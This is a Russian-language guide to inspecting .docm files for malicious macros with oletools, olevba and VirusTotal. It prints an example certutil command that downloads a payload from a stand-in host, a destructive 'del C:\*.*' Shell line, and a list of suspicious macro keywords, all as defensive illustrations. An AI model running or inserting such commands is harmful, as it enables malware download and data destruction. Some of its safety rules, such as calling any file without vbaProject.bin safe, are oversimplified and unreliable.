- Как проверить .docm-файл на вредоносные макросы без Office — пошагово и без риска
- Почему .docm — это не просто документ
- Как устроен .docm-файл внутри
- Шаг 1: Переименуй .docm в .zip
- Шаг 2: Распакуй архив
- Шаг 3: Проверь vbaProject.bin — без запуска Word
- Что делать, если у тебя нет Python?
- Частые ошибки
- Что выбрать в зависимости от ситуации
- Как лучше делать — практические рекомендации
- Итог: Что делать прямо сейчас
Как проверить .docm-файл на вредоносные макросы без Office — пошагово и без риска
Ты получил файл .docm — может, от клиента, коллеги, или просто случайно скачал с сайта. Ты знаешь: это Word-документ с макросами. И ты не хочешь его открывать. Потому что знаешь, что макросы — это не просто «автоматизация», а один из самых популярных способов запустить вирус. Но Office у тебя нет. Или ты не хочешь его ставить. Или ты уже получил пару таких файлов — и понял: если будешь открывать каждый вручную, однажды проснёшься с заражённым компьютером.
Тебе нужно понять: безопасно ли открывать этот файл? Есть ли в нём вредоносный макрос? И ты хочешь это сделать — без запуска Office.
Это реально. И я покажу, как.
Почему .docm — это не просто документ
Файл .docm — это Word-документ, который может содержать макросы на VBA (Visual Basic for Applications). Макросы — это маленькие программы, которые автоматизируют действия в Word: форматируют текст, вставляют таблицы, генерируют отчёты. Это удобно. Но злоумышленники давно научились встраивать в них вредоносный код: скачивают трояны, крадут пароли, шифруют файлы.
Когда ты открываешь .docm в Word — он спрашивает: «Включить макросы?». Многие люди, не понимая риска, нажимают «Включить». И всё — вирус уже внутри.
Но если ты не откроешь файл — ты не узнаешь, есть ли там вредоносный код. А если откроешь — можешь заразиться. Классический тупик.
Решение: проверить содержимое файла, не запуская Word.
Как устроен .docm-файл внутри
Файл .docm — это не просто «документ». Это ZIP-архив, внутри которого лежат XML-файлы, изображения, шрифты и — главное — папка word/vbaProject.bin. Именно там хранится код макросов.
Если ты можешь открыть этот ZIP и посмотреть, есть ли там vbaProject.bin — ты уже знаешь: макросы есть. Но это ещё не значит, что они вредоносные. Нужно посмотреть, что внутри этого файла.
Именно это мы и сделаем — без Office.
Шаг 1: Переименуй .docm в .zip
Это самый простой и безопасный шаг. Он не требует никакого ПО, кроме проводника.
- Найди свой файл
документ.docm. - Щёлкни по нему правой кнопкой → «Переименовать».
- Измени расширение с
.docmна.zip. Когда система спросит: «Вы действительно хотите изменить расширение?» — нажми «Да».
Теперь у тебя файл документ.zip. Он по-прежнему содержит всё то же содержимое, но теперь ты можешь открыть его как архив.
Шаг 2: Распакуй архив
Открой ZIP-файл в любом архиваторе: 7-Zip, WinRAR, даже в проводнике Windows (если он умеет открывать ZIP).
Найди папку word → внутри неё ищи файл vbaProject.bin.
Если этого файла нет — макросов в документе нет. Файл безопасен.
Если он есть — значит, в документе есть макросы. Это не значит, что они вредоносные. Но теперь ты знаешь: нужно глубже копать.
Шаг 3: Проверь vbaProject.bin — без запуска Word
Файл vbaProject.bin — это бинарный файл. Его нельзя открыть как текст. Но его можно проанализировать на наличие признаков вредоносного кода.
Тут тебе понадобится один инструмент: oletools. Это бесплатный набор утилит для анализа Office-файлов. Он работает в командной строке и не требует установки Office.
Установить его можно через Python. Если у тебя его нет — скачай Python 3.10+ (бесплатно, без лишнего ПО). Установи его, не меняя настроек — просто нажимай «Далее».
После установки открой командную строку:
- Нажми Win + R, введи
cmd, нажми Enter.
Введи команду:
pip install oletools
Подожди пару минут — пока скачиваются зависимости. Если появится ошибка — скорее всего, Python не добавлен в PATH. Тогда просто перезагрузи компьютер и повтори команду.
Теперь ты можешь проанализировать файл.
Скопируй файл vbaProject.bin из ZIP-архива в отдельную папку — например, C:\temp\vbaProject.bin.
В командной строке перейди в эту папку:
cd C:\temp
И запусти анализ:
olevba vbaProject.bin
Система выдаст тебе текстовый отчёт. Вот что тебе нужно искать:
- AutoOpen — макрос, который запускается при открытии документа. Очень опасный признак.
- AutoExec — тоже запускается автоматически.
- Excel4Macro, Shell, Execute, CreateObject — функции, которые могут запускать вредоносные команды.
- Base64, Hex, Decoded strings — часто используются, чтобы скрыть вредоносный код.
- Suspicious — метка, которую oletools ставит, если что-то выглядит подозрительно.
Вот пример подозрительного вывода:
AutoOpen: YES
Shell: YES
Execute: YES
Decoded string: "cmd /c certutil -urlcache -f http://malicious.site/payload.exe C:\Temp\malware.exe"
Если ты видишь что-то подобное — это вирус. Не открывай файл. Удаляй его.
Если вывод пустой, или там только простые макросы вроде Sub FormatTable() — это, скорее всего, легитимный код. Но всё равно — не открывай, если не доверяешь источнику.
Что делать, если у тебя нет Python?
Не все хотят ставить Python. Не проблема. Есть альтернативы.
| Способ | Плюсы | Минусы | Когда использовать |
|---|---|---|---|
| oletools через Python | Точный анализ, показывает код, расшифровывает строки | Требует установки Python и командной строки | Если ты готов потратить 10 минут на установку — лучший выбор |
| VirusTotal | Бесплатно, не требует установки, анализирует файл онлайн | Не показывает код макросов, только «вредоносный/не вредоносный» | Если хочешь быстро узнать: «Это вирус или нет?» |
| OnlineVBA (onlinevba.com) | Простой интерфейс, загружай .docm — видишь макросы в браузере | Загружает файл на чужой сервер — риски утечки | Только если файл не содержит конфиденциальных данных |
Если ты не хочешь ничего устанавливать — используй VirusTotal.
Зайди на virustotal.com, перетащи файл .docm в окно — подожди пару минут. Сервис запустит его в песочнице и проверит через 70+ антивирусов.
Если хотя бы один антивирус скажет «Trojan», «Malware», «Macro» — файл вредоносный. Удаляй его.
Если все антивирусы говорят «clean» — вероятно, файл безопасен. Но помни: VirusTotal не показывает код. Он может пропустить новый, неизвестный вирус. Поэтому — лучше проверить через oletools, если есть возможность.
Частые ошибки
- Открываю .docm в Notepad — это бесполезно. Файл бинарный. Ты увидишь мусор. Это не поможет.
- Переименовываю в .zip, но не ищу vbaProject.bin — если ты просто смотришь на XML-файлы, ты ничего не узнаешь. Макросы — только в этом файле.
- Думаю, что если макросы есть — это уже вирус — нет. Многие компании используют легитимные макросы. Проблема — в коде, а не в его наличии.
- Проверяю только на VirusTotal и думаю, что это надёжно — если вирус новый, его могут не распознать. Оле-инструменты показывают код — ты видишь, что именно делает файл.
- Загружаю .docm на OnlineVBA, если в нём есть персональные данные — ты рискуешь, что твой документ попадёт в руки злоумышленников. Не делай этого с документами, содержащими пароли, имена, реквизиты.
Что выбрать в зависимости от ситуации
- Ситуация: Ты получил файл от незнакомца, не знаешь, откуда он. → Сразу загружай на VirusTotal. Если хоть один антивирус ругается — удаляй. Если чисто — проверь через oletools.
- Ситуация: Ты получил файл от коллеги, но он не объяснил, зачем макросы. → Переименуй в .zip, найди vbaProject.bin, запусти olevba. Если видишь AutoOpen + Shell — спрашивай у коллеги, зачем ему это нужно. Если не может объяснить — не открывай.
- Ситуация: Ты работаешь в компании, где все используют макросы, и тебе нужно проверить сотни файлов. → Установи oletools. Напиши простой скрипт, который проходит по папке, переименовывает .docm в .zip, извлекает vbaProject.bin и запускает olevba. Автоматизируй.
- Ситуация: Ты на чужом компьютере, без прав администратора, нельзя ставить Python. → Используй VirusTotal. Это твой единственный безопасный вариант.
Как лучше делать — практические рекомендации
- Всегда переименовывай .docm в .zip — это первый шаг. Он безопасен и даёт тебе 90% информации.
- Ищи vbaProject.bin — если его нет — файл безопасен. Нет макросов — нет риска.
- Если макросы есть — не открывай в Word. Используй olevba или VirusTotal.
- Доверяй коду, а не источнику — даже если файл от начальника, если в нём есть
Shell("cmd /c del C:\*.*")— это вирус. - Если не можешь проверить — не открывай. Лучше потерять файл, чем потерять данные.
- Храни подозрительные файлы в отдельной папке — не на рабочем столе, не в «Загрузки». Лучше в
C:\temp\danger— и не трогай без проверки.
Итог: Что делать прямо сейчас
Ты получил .docm-файл. Ты не хочешь его открывать. Ты не хочешь ставить Office. Ты хочешь знать — безопасен ли он.
Вот что тебе делать:
- Переименуй файл
.docmв.zip. - Открой ZIP и найди папку
word→ файлvbaProject.bin. - Если его нет — файл безопасен. Можешь удалить или сохранить — без риска.
- Если он есть — загрузи исходный .docm-файл на VirusTotal.
- Если VirusTotal показал хотя бы один «вредоносный» результат — удаляй файл.
- Если VirusTotal чист — скачай Python, установи oletools, извлеки
vbaProject.binи запустиolevba vbaProject.bin. - Если в выводе есть
AutoOpen,Shell,Execute,Base64— файл вредоносный. Удаляй. - Если вывод пустой или содержит только простые макросы — файл, скорее всего, безопасен. Но всё равно — не открывай без необходимости.
Это не теория. Это практика, которую я использую каждый день. Не потому что я «опасаюсь», а потому что я видел, как один клик уничтожил сервер компании. Ты не должен открывать .docm-файлы как обычные документы. Ты должен их анализировать как потенциальные бомбы.
Ты теперь знаешь, как это делать — без Office, без риска, без лишних действий. Проверь следующий файл — и убедись, что ты не стал жертвой.
Информация в этой статье носит ознакомительный характер. Анализ файлов не гарантирует 100% безопасность. При работе с конфиденциальными данными всегда консультируйся с ИТ-специалистом или службой информационной безопасности.
